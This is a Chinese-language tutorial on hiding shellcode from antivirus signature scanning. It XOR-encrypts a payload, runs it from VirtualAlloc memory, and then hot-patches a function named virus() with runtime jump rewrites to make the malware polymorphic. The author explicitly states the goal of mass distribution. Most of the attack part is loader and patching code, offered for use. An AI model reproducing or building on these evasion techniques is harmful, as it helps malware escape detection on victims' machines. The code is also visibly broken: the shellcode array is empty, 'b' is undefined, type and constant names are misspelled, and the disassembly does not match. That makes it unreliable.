加密
我们来简单的加密我们的 shellcode, (啥?你不懂 shellcode ?) 这样至少我们能成功逃避我们防毒软件的特征码检测。
#include <windows.h>
#include <iostream>
int main(int argc, char **argv) {
char shellcode[] = { };
char magic[sizeof b];
for (int i = 0; i < sizeof b; i++)
magic[i] = shellcode[i] ^ "secret_key";
void *exec = VirtualAlloc(0, sizeof magic, MEM_COMMIT, PAGE_EXECUTION_READWRITE);
memcpy(exec, magic, sizeof magic);
((void (*)()) exec)();
}
无法置信地短的代码,但是无疑地防毒软件的特征码检测对这个没办法。因为我们几乎是加密了一番。
但是如果我们要大量传播的话,只要收集够量的样本我们的加密就没有它的效用了…,所以我们引用的是很久以前黑客的那一套,"Polymorhic"
Polymorhic 技巧
目前为止大部分的文章只有在内容 shellcode 上做 Polymorhic 混淆。但是如果牵涉到 stager 级别的话就很难做到了。这个要很熟悉编译器的 linking 技巧。
那么假设用上面的做例子做了一点修改
void virus() {
char shellcode[] = { };
char magic[sizeof b];
for (int i = 0; i < sizeof b; i++)
magic[i] = shellcode[i] ^ "secret_key";
void *exec = VirtualAlloc(0, sizeof magic, MEM_COMMIT, PAGE_EXECUTION_READWRITE);
memcpy(exec, magic, sizeof magic);
((void (*)()) exec)();
}
int main() {
virus();
}
我们现在要做的是类似热补丁的效果,在病毒运行期间改变其函数特征。 我先说说原理吧: 首先我们在函数的头部改写成无条件跳转到新的函数。这样我们最小的颗粒度会是函数 :) 在这之前我们要了解的是线程之间没有任何同步的关系。
我们在这里用的是 GCC 的技巧。 ms_hook_prologue 的属性,这会在函数的头部放一段 8 bytes 的 NOP 段。
NOP 需要对齐哦,因为我们是直接写入的。不然会发生些奇怪的事 (当然是不好的事了)
所以我们需要 aligned 属性来确保对齐啊
* 我们需要确保的是我们的函数之间会是 PIC (Position Independent Code) 即不是 inline 也不是 cloned 的。
所以我们需要 noclone 属性来确保编译器不会优化我们的函数成 inline function。
* GCC 会默认地存储我们的函数 return address 在头部,所以如果我们要热插拔的功能的话我们要做点手脚,在这里我们用了 *__asm("")* 这个关键字
所以我们的代码会是:
__attribute__ ((ms_hook_prologue))
__attribute__ ((aligned(8))
__attribute__ ((noinline))
__attribute__ ((noclone))
void virus() {
char shellcode[] = { };
char magic[sizeof b];
for (int i = 0; i < sizeof b; i++)
magic[i] = shellcode[i] ^ "secret_key";
void *exec = VirtualAlloc(0, sizeof magic, MEM_COMMIT, PAGE_EXECUTION_READWRITE);
memcpy(exec, magic, sizeof magic);
((void (*)()) exec)();
}
int main() {
virus();
}
看看汇编看起来会怎样
$ objdump -Mintel -d main
0000000000400448 <main>:
400448: 48 8d a4 24 00 00 00 lea rsp,[rsp+0x0]
40044f: 00
400450: bf d4 09 40 00 mov edi,0x401894
很好!我们有了对齐的 8 bytes 头 NOP 了
热插拔函数
简单地将取代函数地址,8 bytes 对齐了之后
void worker(void *target, void *replacement) {
assert(((unintptr_t) target & 0x07) == 0);
void *page = (void *)((unintptr_t) target & ~0xfff);
mprotect(page, 4096, PROT_WRITE | PROT_EXEC);
uint32_t rel = (char *)replacement - (char *) target -5;
union {
unit8_t bytes[8];
unit64_t value;
} instruction = { {0xe9, rel >> 0, rel >> 8, rel >> 16, rel >> 24 } };
*(uint64_t *)target = instruction.value;
mprotect(page, 4096, PROT_EXEC);
}